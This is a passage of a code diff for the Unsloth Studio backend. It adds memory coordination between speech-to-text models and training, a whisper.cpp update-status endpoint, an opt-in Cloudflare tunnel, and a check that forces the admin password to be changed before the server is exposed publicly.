+            # A load that finished before seeing the cancel leaves a resident
+            # model; unload it so training gets the memory back.
+            if sidecar.loaded_model:
+                sidecar.unload()
+            freed.append("stt:loading")
+        else:
+            model = sidecar.loaded_model
+            if model:
+                logger.info("Unloading STT model '%s' for training (%s)", model, reason)
+                sidecar.unload()
+                freed.append(f"stt:{model}")
+    except Exception as e:
+        logger.warning("Could not unload Transformers STT model: %s", e)
+
+    # Check the GGUF sidecar even after a cancelled/failed Transformers unload;
+    # both engines can hold memory at once (engine switch or direct load).
+    try:
+        from core.inference.stt_ggml_sidecar import get_ggml_stt_sidecar
+        ggml = get_ggml_stt_sidecar()
+        if ggml.is_loading() and ggml.cancel_pending_load():
+            logger.info("Cancelling GGUF STT model load for training (%s)", reason)
+            # whisper-server may still be binding its backend; wait for the
+            # cancelled startup to be killed and reaped before training claims
+            # the memory (loaded_model stays unset until it is ready).
+            ggml.wait_for_load_to_settle()
+            if ggml.loaded_model:
+                ggml.unload()
+            freed.append("stt:gguf-loading")
+        else:
+            ggml_model = ggml.loaded_model
+            if ggml_model:
+                logger.info("Unloading GGUF STT model '%s' for training (%s)", ggml_model, reason)
+                ggml.unload()
+                freed.append(f"stt:{ggml_model}")
+    except Exception as e:
+        logger.warning("Could not unload GGUF STT model: %s", e)
+
+    return freed
+
+
+def coordinate_models_for_training(
+    can_keep: Callable[[], Tuple[bool, Dict[str, Any]]],
+) -> List[str]:
+    """Keep resident models when they fit, evicting STT before chat."""
+    resident_chat = summarize_resident_chat()
+    resident_stt = summarize_resident_stt()
+    if not resident_chat["any"] and not resident_stt["any"]:
+        return []
+
+    if resident_chat.get("loading"):
+        freed = free_stt_model_for_training(reason = "chat model still loading")
+        freed += free_chat_models_for_training(reason = "chat model still loading")
+        return freed
+
+    freed: List[str] = []
+    if resident_stt.get("loading"):
+        released_stt = free_stt_model_for_training(reason = "STT model still loading")
+        freed += released_stt
+        resident_stt = (
+            {"model": None, "device": None, "loading": False, "any": False}
+            if released_stt
+            else summarize_resident_stt()
+        )
+        if not resident_chat["any"] and not resident_stt["any"]:
+            return freed
+
+    keep, info = can_keep()
+    if keep:
+        logger.info(
+            "Keeping resident models loaded during training (free ~%s GB, needs ~%s GB): %s",
+            info.get("usable_gb"),
+            info.get("required_gb"),
+            {"chat": resident_chat, "stt": resident_stt},
+        )
+        return freed
+
+    if resident_stt["any"]:
+        freed += free_stt_model_for_training(reason = "insufficient training memory")
+        if not resident_chat["any"]:
+            return freed
+        keep, _info = can_keep()
+        if keep:
+            logger.info("Keeping chat model loaded after freeing STT: %s", resident_chat)
+            return freed
+
+    freed += free_chat_models_for_training(
+        reason = "insufficient VRAM to run training alongside chat",
+    )
+    return freed
diff --git a/studio/backend/routes/whisper.py b/studio/backend/routes/whisper.py
new file mode 100644
index 0000000000..08a8f269ec
--- /dev/null
+++ b/studio/backend/routes/whisper.py
@@ -0,0 +1,74 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""whisper.cpp prebuilt status endpoint.
+
+GET  /api/whisper/update-status  -> is a newer prebuilt available + job state
+
+Detection reuses utils.whisper_cpp_freshness and fails open so the UI never
+blocks on a missing marker / offline GitHub. There is no whisper-only update
+trigger: whisper updates piggyback on the single main update item
+(POST /api/llama/update chains a whisper phase when whisper is behind).
+"""
+
+from __future__ import annotations
+
+import asyncio
+from typing import Optional
+
+from fastapi import APIRouter, Depends, Query
+from pydantic import BaseModel, Field
+
+from auth.authentication import get_current_subject
+from utils.whisper_cpp_update import get_update_status
+
+router = APIRouter()
+
+
+class WhisperUpdateJob(BaseModel):
+    state: str = Field("idle", description = "idle | running | success | error")
+    message: str = ""
+    from_tag: Optional[str] = None
+    to_tag: Optional[str] = None
+    reload_required: Optional[bool] = None
+    error: Optional[str] = None
+    progress: Optional[float] = Field(None, description = "0..1 while running, 1 on success.")
+    started_at: Optional[str] = None
+    finished_at: Optional[str] = None
+
+
+class WhisperUpdateStatusResponse(BaseModel):
+    supported: bool = Field(
+        False,
+        description = "True when the install came from an Unsloth prebuilt (has a marker).",
+    )
+    update_available: bool = Field(
+        False, description = "True when the latest release is genuinely newer than the install."
+    )
+    stale: bool = Field(
+        False, description = "Update available AND install older than the staleness threshold."
+    )
+    installed_tag: Optional[str] = None
+    latest_tag: Optional[str] = None
+    published_repo: Optional[str] = None
+    installed_at_utc: Optional[str] = None
+    age_days: Optional[int] = None
+    source_build: bool = Field(
+        False, description = "True when there is no marker (source build) but a prebuilt is offered."
+    )
+    update_size_bytes: Optional[int] = Field(
+        None, description = "Download size of the prebuilt an update would fetch, in bytes."
+    )
+    job: WhisperUpdateJob = Field(default_factory = WhisperUpdateJob)
+
+
+@router.get("/update-status", response_model = WhisperUpdateStatusResponse)
+async def whisper_update_status(
+    force_refresh: bool = Query(
+        False, description = "Bypass the 24h release cache for an explicit check."
+    ),
+    current_subject: str = Depends(get_current_subject),
+) -> WhisperUpdateStatusResponse:
+    # Off the event loop: detection may probe the host and read GitHub.
+    status = await asyncio.to_thread(get_update_status, force_refresh = force_refresh)
+    return WhisperUpdateStatusResponse(**status)
diff --git a/studio/backend/run.py b/studio/backend/run.py
index ccd0113972..d9569c46f6 100644
--- a/studio/backend/run.py
+++ b/studio/backend/run.py
@@ -10,7 +10,80 @@ import os
 import sys
 import time
 from pathlib import Path
-from typing import Optional
+from typing import Optional, Tuple
+
+
+def _fix_torch_cuda_ld_path():
+    """Prepend torch's bundled CUDA libs to LD_LIBRARY_PATH.
+
+    PyTorch wheels ship their own CUDA runtime (libcudart, libcublas, ...) in
+    ``site-packages/nvidia/*/lib``. On Linux the dynamic linker reads
+    LD_LIBRARY_PATH before the RUNPATH baked into torch's .so files, so a
+    pre-existing LD_LIBRARY_PATH pointing at a different system CUDA (e.g.
+    /usr/local/cuda-13/lib64 from conda or a Docker base image) shadows torch's
+    libs and triggers "undefined symbol" errors when torch is imported. Detect
+    torch's lib dirs (without importing torch) and prepend them. Returns True if
+    LD_LIBRARY_PATH was changed.
+    """
+    if sys.platform != "linux":
+        return False
+    ld_path = os.environ.get("LD_LIBRARY_PATH", "")
+    if not ld_path:
+        return False
+    try:
+        import importlib.util
+
+        spec = importlib.util.find_spec("torch")
+        if not spec or not spec.origin:
+            return False
+        torch_dir = os.path.dirname(spec.origin)
+        site_pkgs = os.path.dirname(torch_dir)
+        nvidia_dir = os.path.join(site_pkgs, "nvidia")
+
+        lib_dirs = []
+        torch_lib = os.path.join(torch_dir, "lib")
+        if os.path.isdir(torch_lib):
+            lib_dirs.append(torch_lib)
+        if os.path.isdir(nvidia_dir):
+            for sub in sorted(os.listdir(nvidia_dir)):
+                lib = os.path.join(nvidia_dir, sub, "lib")
+                if os.path.isdir(lib):
+                    lib_dirs.append(lib)
+        if not lib_dirs:
+            return False
+
+        existing = ld_path.split(":")
+        if existing[: len(lib_dirs)] == lib_dirs:
+            return False  # already at the front, nothing to do
+
+        torch_set = set(lib_dirs)
+        cleaned = [p for p in existing if p not in torch_set]
+        os.environ["LD_LIBRARY_PATH"] = ":".join(lib_dirs + cleaned)
+        return True
+    except Exception:
+        return False
+
+
+_LD_FIXED_SENTINEL = "_UNSLOTH_STUDIO_LD_FIXED"
+
+
+def _maybe_reexec_for_cuda_ld_path():
+    """Re-exec once so the dynamic linker sees the corrected LD_LIBRARY_PATH.
+
+    LD_LIBRARY_PATH is read at process start, so editing os.environ in-process
+    cannot fix the running interpreter; a single re-exec is required. Call only
+    from a true entry point (the ``if __name__ == "__main__"`` block), never at
+    import time, because os.execv replaces the whole process (an embedder such
+    as Colab that does ``from run import run_server`` must not be re-exec'd).
+    """
+    if _LD_FIXED_SENTINEL in os.environ:
+        return
+    if not _fix_torch_cuda_ld_path():
+        return
+    os.environ[_LD_FIXED_SENTINEL] = "1"
+    argv = getattr(sys, "orig_argv", None) or [sys.executable, *sys.argv]
+    os.execv(sys.executable, argv)
+
 
 # Suppress C-level dependency warnings globally (e.g. SwigPyPacked).
 os.environ["PYTHONWARNINGS"] = "ignore"
@@ -159,7 +232,7 @@ def _working_local_url(port: int) -> "str | None":
 def _localhost_ipv6_mismatch_url(bind_host: str, port: int) -> "str | None":
     """Return the IPv4 loopback URL when localhost won't reach 127.0.0.1.
 
-    Local Studio binds to 127.0.0.1. Where localhost resolves to IPv6 only (::1),
+    Local Unsloth binds to 127.0.0.1. Where localhost resolves to IPv6 only (::1),
     http://localhost:<port> fails (or hits a different process on ::1) even though
     http://127.0.0.1:<port> works. Return the IPv4 URL for the caller to surface.
     """
@@ -170,7 +243,7 @@ def _localhost_ipv6_mismatch_url(bind_host: str, port: int) -> "str | None":
 
     ipv4_url = f"http://127.0.0.1:{port}"
 
-    # Only warn once Studio is confirmed answering on IPv4 loopback.
+    # Only warn once Unsloth is confirmed answering on IPv4 loopback.
     if _working_local_url(port) != ipv4_url:
         return None
 
@@ -192,7 +265,7 @@ def _localhost_ipv6_mismatch_url(bind_host: str, port: int) -> "str | None":
             if host == "::1":
                 has_ipv6_loopback = True
 
-    # A connection to ::1 is NOT evidence Studio is reachable there: Studio binds
+    # A connection to ::1 is NOT evidence Unsloth is reachable there: Unsloth binds
     # 127.0.0.1 only, so anything on ::1 is a different process. Dual-stack
     # localhost is fine (browsers fall back to 127.0.0.1), so only the IPv6-only
     # case strands the user.
@@ -214,7 +287,7 @@ def _stdout_color_ok() -> bool:
 
 
 def _print_localhost_ipv6_mismatch_warning(local_url: str, port: int) -> None:
-    """Warn that localhost points at ::1 while Studio is bound to 127.0.0.1."""
+    """Warn that localhost points at ::1 while Unsloth is bound to 127.0.0.1."""
     use_color = _stdout_color_ok()
     warn_c = "\033[38;5;215;1m" if use_color else ""
     reset = "\033[0m" if use_color else ""
@@ -230,7 +303,7 @@ def _print_localhost_ipv6_mismatch_warning(local_url: str, port: int) -> None:
 def _verify_global_reachability(display_host: str, port: int) -> None:
     """Probe check-host.net to confirm display_host:port is reachable from the
     public internet. Synchronous so output lands between the banner URLs and the
-    stop hint. Bounded at ~15s; failures swallowed (verifier failing != Studio
+    stop hint. Bounded at ~15s; failures swallowed (verifier failing != Unsloth
     failing). Only meaningful for a wildcard bind."""
     global _public_reachable
     # Reset to "unknown" each run; set True/False only when the probe decides.
@@ -490,15 +563,15 @@ def _print_cloudflare_line(secure: bool = False, loopback_host: str = "127.0.0.1
                     "  Cloudflare tunnel: ON. This Cloudflare URL is PUBLIC, and the "
                     "raw port is also publicly reachable. --no-cloudflare disables "
                     f"only the Cloudflare URL; bind {loopback_host} or close firewall "
-                    "access to keep Studio private.",
+                    "access to keep Unsloth private.",
                     warn,
                 )
             else:
                 _emit(
                     "  Cloudflare tunnel: ON. This is a PUBLIC internet URL: anyone "
-                    "who has it can reach this Studio. Relaunch with --no-cloudflare "
+                    "who has it can reach this Unsloth. Relaunch with --no-cloudflare "
                     f"to disable the Cloudflare URL; bind {loopback_host} or close "
-                    "firewall access to keep Studio private.",
+                    "firewall access to keep Unsloth private.",
                     warn,
                 )
         return
@@ -507,12 +580,12 @@ def _print_cloudflare_line(secure: bool = False, loopback_host: str = "127.0.0.1
             _emit(
                 "  Cloudflare tunnel: requested but failed to start. The raw port is "
                 "still reachable from the public internet (see the reachability check "
-                "above): anyone who can reach it can access this Studio.",
+                "above): anyone who can reach it can access this Unsloth.",
                 warn,
             )
         elif _public_reachable is False:
             _emit(
-                "  Cloudflare tunnel: requested but failed to start. Studio is reachable "
+                "  Cloudflare tunnel: requested but failed to start. Unsloth is reachable "
                 "on your local network only (no public link).",
                 warn,
             )
@@ -520,7 +593,7 @@ def _print_cloudflare_line(secure: bool = False, loopback_host: str = "127.0.0.1
             _emit(
                 "  Cloudflare tunnel: requested but failed to start. There is no "
                 "Cloudflare public link. Raw port reachability was not verified; "
-                f"bind {loopback_host} or close firewall access to keep Studio private.",
+                f"bind {loopback_host} or close firewall access to keep Unsloth private.",
                 warn,
             )
     elif _cloudflare_flag:
@@ -528,40 +601,44 @@ def _print_cloudflare_line(secure: bool = False, loopback_host: str = "127.0.0.1
             _emit(
                 "  Cloudflare tunnel: OFF for this mode. The raw port is still "
                 "reachable from the public internet (see the reachability check above): "
-                "anyone who can reach it can access this Studio.",
+                "anyone who can reach it can access this Unsloth.",
                 warn,
             )
         elif _public_reachable is False:
             _emit(
-                "  Cloudflare tunnel: OFF for this mode. Studio is reachable on your "
+                "  Cloudflare tunnel: OFF for this mode. Unsloth is reachable on your "
                 "local network only (no public link)."
             )
         else:
             _emit(
                 "  Cloudflare tunnel: OFF for this mode. There is no Cloudflare public "
                 "link. Raw port reachability was not verified; "
-                f"bind {loopback_host} or close firewall access to keep Studio private.",
+                f"bind {loopback_host} or close firewall access to keep Unsloth private.",
                 warn,
             )
-    elif not _cloudflare_flag:
+    elif _cloudflare_flag is False or _cloudflare_flag is None:
+        # None = off by default (no flag); False = explicit --no-cloudflare.
+        _reason = "default" if _cloudflare_flag is None else "--no-cloudflare"
         if _public_reachable is True:
             _emit(
-                "  Cloudflare tunnel: OFF (--no-cloudflare). The raw port is still "
+                f"  Cloudflare tunnel: OFF ({_reason}). The raw port is still "
                 "reachable from the public internet (see the reachability check above): "
-                "--no-cloudflare disables only the Cloudflare link, not the public bind.",
+                "pass --cloudflare to also expose a public Cloudflare HTTPS link, or "
+                f"bind {loopback_host} to keep Unsloth private.",
                 warn,
             )
         elif _public_reachable is False:
             _emit(
-                "  Cloudflare tunnel: OFF (--no-cloudflare). Studio is reachable on your "
-                "local network only. Omit --no-cloudflare to expose a public "
+                f"  Cloudflare tunnel: OFF ({_reason}). Unsloth is reachable on your "
+                "local network only. Pass --cloudflare to expose a public "
                 "Cloudflare HTTPS link."
             )
         else:
             _emit(
-                "  Cloudflare tunnel: OFF (--no-cloudflare). There is no Cloudflare "
-                "public link. Raw port reachability was not verified; "
-                f"bind {loopback_host} or close firewall access to keep Studio private.",
+                f"  Cloudflare tunnel: OFF ({_reason}). There is no Cloudflare "
+                "public link. Raw port reachability was not verified; pass --cloudflare "
+                "to expose a public Cloudflare HTTPS link, or "
+                f"bind {loopback_host} or close firewall access to keep Unsloth private.",
                 warn,
             )
 
@@ -597,7 +674,7 @@ def _is_port_free(host: str, port: int) -> bool:
 
     For a ``0.0.0.0`` wildcard host, also check whether anything is listening on
     ``127.0.0.1`` (and ``::1`` when IPv6 exists): an SSH tunnel may hold loopback
-    while the wildcard bind succeeds, making Studio unreachable via ``localhost``.
+    while the wildcard bind succeeds, making Unsloth unreachable via ``localhost``.
     """
     import socket
 
@@ -801,7 +878,9 @@ _cloudflare_url = None
 _public_reachable = None
 
 _cloudflare_requested = False
-_cloudflare_flag = True
+# Opt-in tri-state (mirrors the CLI): None = off by default, True = on,
+# False = explicit --no-cloudflare. run_server overwrites it before the banner.
+_cloudflare_flag = None
 
 
 _DEFAULT_FRONTEND_PATH = Path(__file__).resolve().parent.parent / "frontend" / "dist"
@@ -984,6 +1063,206 @@ def _cloudflare_tunnel_should_start(
     return host in ("0.0.0.0", "::") and not api_only
 
 
+def _stream_isatty(stream) -> bool:
+    """isatty() that treats broken streams as non-interactive.
+
+    isatty() can raise under service wrappers (closed stdin -> ValueError;
+    sys.stdin None in Windows GUI -> AttributeError); such a stream can't host a
+    prompt, which is a fallback, not an error.
+    """
+    try:
+        return stream.isatty()
+    except (AttributeError, ValueError):
+        return False
+
+
+def _terminal_password_gate(
+    *,
+    tunnel_will_start: bool,
+    host: str,
+    secure: bool,
+    api_only: bool,
+    frontend_served: bool,
+    is_colab: bool = False,
+) -> Tuple[bool, bool]:
+    """Force a terminal password change before the public tunnel goes up.
+
+    When the tunnel is about to publish Unsloth and the seeded admin password was
+    never changed, ask for a new one (masked, confirmed) before any public URL
+    exists. The CLI normally does this before re-exec'ing the backend; this is
+    the backstop for direct `python run.py` launches and older-CLI installs.
+    Must run BEFORE the uvicorn socket binds: on a wildcard bind the served HTML
+    injects the bootstrap credential, so a pre-gate listener would hand the
+    default password to anyone reaching the raw port while the operator types.
+
+    Returns (proceed, drop_bootstrap_injection):
+      proceed False -> abort the launch (interactive refusal, or a headless
+        public launch nothing would protect); fail closed.
+      drop_bootstrap_injection True -> caller must null
+        app.state.bootstrap_password: the password just changed (stale), or a
+        public URL is about to serve the default credential and must not leak it.
+
+    Without a usable terminal the prompt is skipped: proceed if the bootstrap
+    deadline (armed later) will protect the launch; if even that is disabled
+    (api-only, timeout 0) nothing protects it, so refuse. NOT wrapped in a broad
+    try/except: an auth storage failure must abort rather than expose the default.
+    """
+    if not tunnel_will_start:
+        return True, False
+
+    from auth import hashing as _auth_hashing
+    from auth import storage as _auth_storage
+    from auth.bootstrap_timeout import (
+        bootstrap_timeout_seconds,
+        should_arm_bootstrap_timeout,
+    )
+    from auth.terminal_prompt import (
+        prompt_for_password_change,
+        should_prompt_password_change,
+    )
+
+    _admin = _auth_storage.DEFAULT_ADMIN_USERNAME
+    # Gate can run before lifespan: seed the admin row here (idempotent).
+    _auth_storage.ensure_default_admin()
+    requires_change = _auth_storage.requires_password_change(_admin)
+    if not requires_change:
+        return True, False
+
+    if not should_prompt_password_change(
+        tunnel_will_start = tunnel_will_start,
+        requires_change = requires_change,
+        stdin_isatty = _stream_isatty(sys.stdin),
+        stderr_isatty = _stream_isatty(sys.stderr),
+    ):
+        # No terminal: only proceed if the bootstrap deadline will arm; api-only
+        # and TIMEOUT=0 never arm it, leaving the default credential public.
+        deadline_arms = should_arm_bootstrap_timeout(
+            host = host,
+            secure = secure,
+            api_only = api_only,
+            frontend_served = frontend_served,
+            is_colab = is_colab,
+            requires_change = True,
+            timeout_seconds = bootstrap_timeout_seconds(),
+        )
+        if not deadline_arms:
+            print(
+                "Refusing to publish Unsloth on a public Cloudflare URL: the "
+                "default admin password was never changed, no terminal is "
+                "attached to change it here, and the bootstrap shutdown "
+                "deadline does not apply to this launch (api-only, or "
+                "UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT=0). Change the password "
+                "first (run `unsloth studio` locally and log in, or re-run "
+                "with a terminal attached), then retry.",
+                file = sys.stderr,
+                flush = True,
+            )
+            return False, False
+        # The public page won't auto-fill the bootstrap credential (suppressed
+        # below) and the seeded file may already be gone, so point recovery at a
+        # terminal-attached run / reset-password instead of reading it from disk.
+        print(
+            "  WARNING: the default admin password is still active while "
+            "Unsloth is about to be published on a public Cloudflare URL, and "
+            "no terminal is attached to change it here. The public page will "
+            "NOT auto-fill the bootstrap credential. Set a new password by "
+            "running `unsloth studio` locally with a terminal attached, or "
+            "`unsloth studio reset-password`. Unsloth shuts down after the "
+            "bootstrap deadline (UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT, default 1h) "
+            "unless the password is changed.",
+            file = sys.stderr,
+            flush = True,
+        )
+        # Never serve the default credential in HTML over a public URL.
+        return True, True
+
+    def _is_current_password(candidate: str) -> bool:
+        record = _auth_storage.get_user_and_secret(_admin)
+        if record is None:
+            return False
+        salt, pwd_hash, _jwt_secret, _must_change = record
+        return _auth_hashing.verify_password(candidate, salt, pwd_hash)
+
+    def _apply_change(new_password: str) -> None:
+        # Same effects as routes/auth.py change_password: rehash, rotate the JWT
+        # secret, revoke refresh tokens in the SAME transaction.
+        _auth_storage.update_password(_admin, new_password, revoke_refresh_tokens = True)
+
+    changed = prompt_for_password_change(
+        min_length = _auth_storage.MIN_PASSWORD_LENGTH,
+        is_current_password = _is_current_password,
+        apply_change = _apply_change,
+        out = sys.stderr,
+    )
+    return (True, True) if changed else (False, False)
+
+
+def _apply_supplied_password(password_value: "Optional[str]") -> None:
+    """Non-interactively set the INITIAL admin password before the socket binds,
+    for a direct ``python run.py`` launch (the CLI does this in its own parent).
+    Value comes from --password / UNSLOTH_STUDIO_PASSWORD / stdin.
+
+    Only ever sets the FIRST password: an already-set one is a hard error, an
+    invalid value fails closed. NOT wrapped in a broad try/except: an auth
+    storage failure must abort rather than expose the default credential.
+    """
+    from auth import hashing as _auth_hashing
+    from auth import storage as _auth_storage
+    from auth.terminal_prompt import SUPPLIED_PASSWORD_ENV, resolve_supplied_password
+
+    supplied = resolve_supplied_password(password_value)
+    # Strip the env var once read so child subprocesses (cloudflared, llama-server,
+    # code-exec tools) can't inherit the plaintext via /proc/PID/environ. Mirrors
+    # the CLI. Unconditional: strips a leftover value even when a literal --password won.
+    os.environ.pop(SUPPLIED_PASSWORD_ENV, None)
+    if not supplied:
+        return
+
+    _admin = _auth_storage.DEFAULT_ADMIN_USERNAME
+    _auth_storage.ensure_default_admin()
+    if not _auth_storage.requires_password_change(_admin):
+        print(
+            "Error: an Unsloth admin password is already set; --password only sets "
+            "the initial password. Run `unsloth studio reset-password` first.",
+            file = sys.stderr,
+            flush = True,
+        )
+        sys.exit(1)
+
+    def _is_current_password(candidate: str) -> bool:
+        record = _auth_storage.get_user_and_secret(_admin)
+        if record is None:
+            return False
+        salt, pwd_hash, _jwt_secret, _must_change = record
+        return _auth_hashing.verify_password(candidate, salt, pwd_hash)
+
+    if len(supplied) < _auth_storage.MIN_PASSWORD_LENGTH:
+        print(
+            f"Error: password must be at least {_auth_storage.MIN_PASSWORD_LENGTH} "
+            "characters; not starting.",
+            file = sys.stderr,
+            flush = True,
+        )
+        sys.exit(1)
+    if any(ch.isspace() for ch in supplied):
+        print(
+            "Error: password cannot contain spaces; not starting.",
+            file = sys.stderr,
+            flush = True,
+        )
+        sys.exit(1)
+    if _is_current_password(supplied):
+        print(
+            "Error: the new password must differ from the current bootstrap "
+            "password; not starting.",
+            file = sys.stderr,
+            flush = True,
+        )
+        sys.exit(1)
+    _auth_storage.update_password(_admin, supplied, revoke_refresh_tokens = True)
+    print(f"Password updated for '{_admin}'.", file = sys.stderr, flush = True)
+
+
 def _apply_cli_tool_policy(enable_tools: "Optional[bool]") -> None:
     """Honor an explicit --enable-tools/--disable-tools; None leaves the policy
     unset (tools default on, per-request enable_tools honored). Host is never
@@ -1002,9 +1281,10 @@ def run_server(
     silent: bool = False,
     api_only: bool = False,
     llama_parallel_slots: int = 1,
-    cloudflare: bool = True,
+    cloudflare: "Optional[bool]" = None,
     secure: bool = False,
     enable_tools: "Optional[bool]" = None,
+    password: "Optional[str]" = None,
     emit_tauri_port: bool = True,
 ):
     """
@@ -1017,6 +1297,9 @@ def run_server(
         silent: Suppress startup messages
         api_only: API server only, no frontend (for Tauri desktop app)
         llama_parallel_slots: parallel slots for llama-server
+        cloudflare: opt in to the public Cloudflare HTTPS tunnel for a wildcard
+            bind. Tri-state: None (unset) and False both mean off; True enables it.
+            --secure implies it (True) and rejects an explicit False.
         enable_tools: explicit --enable-tools/--disable-tools policy; None leaves
             the default (tools on, per-request enable_tools honored)
         emit_tauri_port: print the machine-readable TAURI_PORT line the desktop
@@ -1038,13 +1321,16 @@ def run_server(
 
     initialize_parent_lifetime()
 
-    # --secure exposes only the Cloudflare link: force a loopback bind so the raw
-    # port is never public (even with -H 0.0.0.0), and reject the contradictory combo.
-    if secure and not cloudflare:
-        raise SystemExit(
-            "A secure Cloudflare link is not allowed, use --no-secure which provides a 0.0.0.0 link"
-        )
+    # --secure exposes ONLY the Cloudflare link: reject --secure --no-cloudflare,
+    # then force a loopback bind so the raw port is never public (even -H 0.0.0.0).
+    # Otherwise keep the tri-state so the banner distinguishes "off by default"
+    # from an explicit --no-cloudflare.
     if secure:
+        if cloudflare is False:
+            raise SystemExit(
+                "--secure requires the Cloudflare tunnel; do not combine it with --no-cloudflare."
+            )
+        cloudflare = True
         host = "127.0.0.1"
 
     # `unsloth studio run` installs its own resolved policy and passes None here.
@@ -1058,7 +1344,7 @@ def run_server(
             pass
 
     # Persist a session log + native-crash stacks BEFORE importing main, so
-    # even import-time failures leave evidence on disk. Field report: Studio
+    # even import-time failures leave evidence on disk. Field report: Unsloth
     # "terminates without a warning" -- a native crash in the GPU runtime
     # kills the process with no Python traceback, and a desktop-shortcut
     # console closes before anything can be read. Console-only logging made
@@ -1075,14 +1361,35 @@ def run_server(
     if secure:
         os.environ["UNSLOTH_SECURE"] = "1"
 
-    import nest_asyncio
-
-    nest_asyncio.apply()
-
     import asyncio
+
+    # nest_asyncio is for Colab/IPython, where the main thread already runs a loop
+    # the blocking waits below would collide with. Apply it only with a loop running
+    # (a plain CLI start has nothing to nest) and only on Python <= 3.13: on 3.14+
+    # its global Task patch leaves asyncio.current_task() None (tracking moved into
+    # C), which also breaks the background uvicorn loop and 500s every request. It
+    # is archived upstream, so no 3.14 fix is coming; skip it there.
+    if sys.version_info < (3, 14):
+        try:
+            asyncio.get_running_loop()
+        except RuntimeError:
+            pass
+        else:
+            import nest_asyncio
+            nest_asyncio.apply()
+
     from threading import Thread, Event
     import uvicorn
 
+    # `from main import app` below loads torch/unsloth/transformers (~2 min cold,
+    # silent), so print a flushed heads-up (piped stdout is block-buffered).
+    if not silent:
+        print(
+            "Loading Unsloth Studio, please wait... (this can take a few minutes)",
+            flush = True,
+        )
+        print("  - loading PyTorch, Unsloth and Transformers...", flush = True)
+
     import_started = time.perf_counter()
 
     from main import app, setup_frontend, _IS_COLAB
@@ -1091,6 +1398,8 @@ def run_server(
         "Imported FastAPI app in %.1fms",
         (time.perf_counter() - import_started) * 1000,
     )
+    if not silent:
+        print("  - Starting server...", flush = True)
     from utils.paths import ensure_studio_directories
 
     # Allow local stdio MCP servers on a loopback bind (the user's own machine),
@@ -1104,7 +1413,7 @@ def run_server(
     ensure_studio_directories()
 
     logger.info(
-        "Ensured Studio directories in %.1fms",
+        "Ensured Unsloth directories in %.1fms",
         (time.perf_counter() - boot_started) * 1000,
     )
 
@@ -1118,7 +1427,7 @@ def run_server(
             print("=" * 50)
             if blocker:
                 pid, name = blocker
-                print(f"Port {original_port} is already in use by " f"{name} (PID {pid}).")
+                print(f"Port {original_port} is already in use by {name} (PID {pid}).")
             else:
                 print(f"Port {original_port} is already in use.")
             print(f"Unsloth Studio will use port {port} instead.")
@@ -1153,7 +1462,7 @@ def run_server(
                 installer_bin = home / "unsloth_studio" / "bin" / "unsloth"
             tried_lines = "\n".join(f"  - {p}" for p in attempted) or "  (none)"
             raise SystemExit(
-                "[ERROR] Studio frontend build not found.\n"
+                "[ERROR] Unsloth frontend build not found.\n"
                 f"Tried:\n{tried_lines}\n"
                 "\n"
                 "Likely cause: another 'unsloth' on PATH is shadowing the "
@@ -1231,6 +1540,44 @@ def run_server(
 
     app.state.trigger_shutdown = _trigger_shutdown
 
+    # A supplied --password / UNSLOTH_STUDIO_PASSWORD / stdin sets the initial
+    # admin password before the gate and socket bind (direct `python run.py`;
+    # the CLI applies it in its own parent).
+    _apply_supplied_password(password)
+
+    # Never publish with the seeded default password active: prompt first (or
+    # warn / fail closed headless; see _terminal_password_gate). Runs BEFORE the
+    # socket binds so a pre-gate listener can't hand out the injected credential.
+    _pw_proceed, _pw_drop_bootstrap = _terminal_password_gate(
+        tunnel_will_start = _cloudflare_tunnel_should_start(
+            cloudflare = cloudflare,
+            host = host,
+            secure = secure,
+            api_only = api_only,
+            is_colab = _IS_COLAB,
+        ),
+        host = host,
+        secure = secure,
+        api_only = api_only,
+        frontend_served = bool(frontend_path) and not api_only,
+        is_colab = _IS_COLAB,
+    )
+    if not _pw_proceed:
+        print(
+            "Not starting Unsloth; set a new admin password first, or launch "
+            "without --secure/--cloudflare.",
+            file = sys.stderr,
+            flush = True,
+        )
+        sys.exit(1)
+    if _pw_drop_bootstrap:
+        # Password just changed (stale) or a public URL is about to serve the
+        # default credential: don't leak it in the HTML. Lifespan runs AFTER this
+        # and re-reads the bootstrap password, so the flag (not a plain None)
+        # makes it skip that re-read.
+        app.state.suppress_bootstrap_injection = True
+        app.state.bootstrap_password = None
+
     # Run server in a daemon thread with explicit new_event_loop() +
     # run_until_complete() (not asyncio.run) so nest_asyncio's patches don't
     # interfere when Colab/IPython already runs a loop on the main thread.
@@ -1300,6 +1647,7 @@ def run_server(
         is_colab = _IS_COLAB,
     )
     _cloudflare_requested = _cloudflare_enabled
+
     if _cloudflare_enabled:
         try:  # best-effort: any failure must not block startup
             from cloudflare_tunnel import start_studio_tunnel, stop_studio_tunnel
@@ -1354,7 +1702,7 @@ def run_server(
                 logger = logger,
             )
             logger.info(
-                "Studio will shut down in %ds unless the default admin password is changed.",
+                "Unsloth will shut down in %ds unless the default admin password is changed.",
                 _bootstrap_timeout,
             )
     except Exception as e:  # best-effort: never block startup on the timeout
@@ -1387,6 +1735,14 @@ def _build_arg_parser():
         default = "127.0.0.1",
         help = "Host to bind to (default: 127.0.0.1; use 0.0.0.0 for network/cloud access)",
     )
+    parser.add_argument(
+        "--password",
+        default = None,
+        help = "Set the INITIAL admin password non-interactively (headless), only when "
+        "none is set yet. Also reads UNSLOTH_STUDIO_PASSWORD, or --password - for stdin. "
+        "A literal value is visible in the process list. Rotate later via "
+        "`unsloth studio reset-password`.",
+    )
     parser.add_argument("--port", type = int, default = 8888, help = "Port to bind to")
     parser.add_argument(
         "--frontend",
@@ -1403,11 +1759,13 @@ def _build_arg_parser():
     parser.add_argument(
         "--cloudflare",
         action = argparse.BooleanOptionalAction,
-        default = True,
-        help = "Auto-create a free Cloudflare HTTPS tunnel for non-api-only wildcard "
-        "binds (0.0.0.0 or ::), exposing Studio on a PUBLIC internet URL (default on). "
-        "Pass --no-cloudflare to disable that Cloudflare URL; it does not change a "
-        "public wildcard bind. --api-only keeps it off unless paired with --secure.",
+        default = None,
+        help = "Expose Unsloth on a PUBLIC internet URL via a free Cloudflare HTTPS "
+        "tunnel, for non-api-only wildcard binds (0.0.0.0 or ::). Off by default; "
+        "pass --cloudflare to enable it (--secure implies it), --no-cloudflare to "
+        "force it off. It does not change a raw wildcard bind. If the admin "
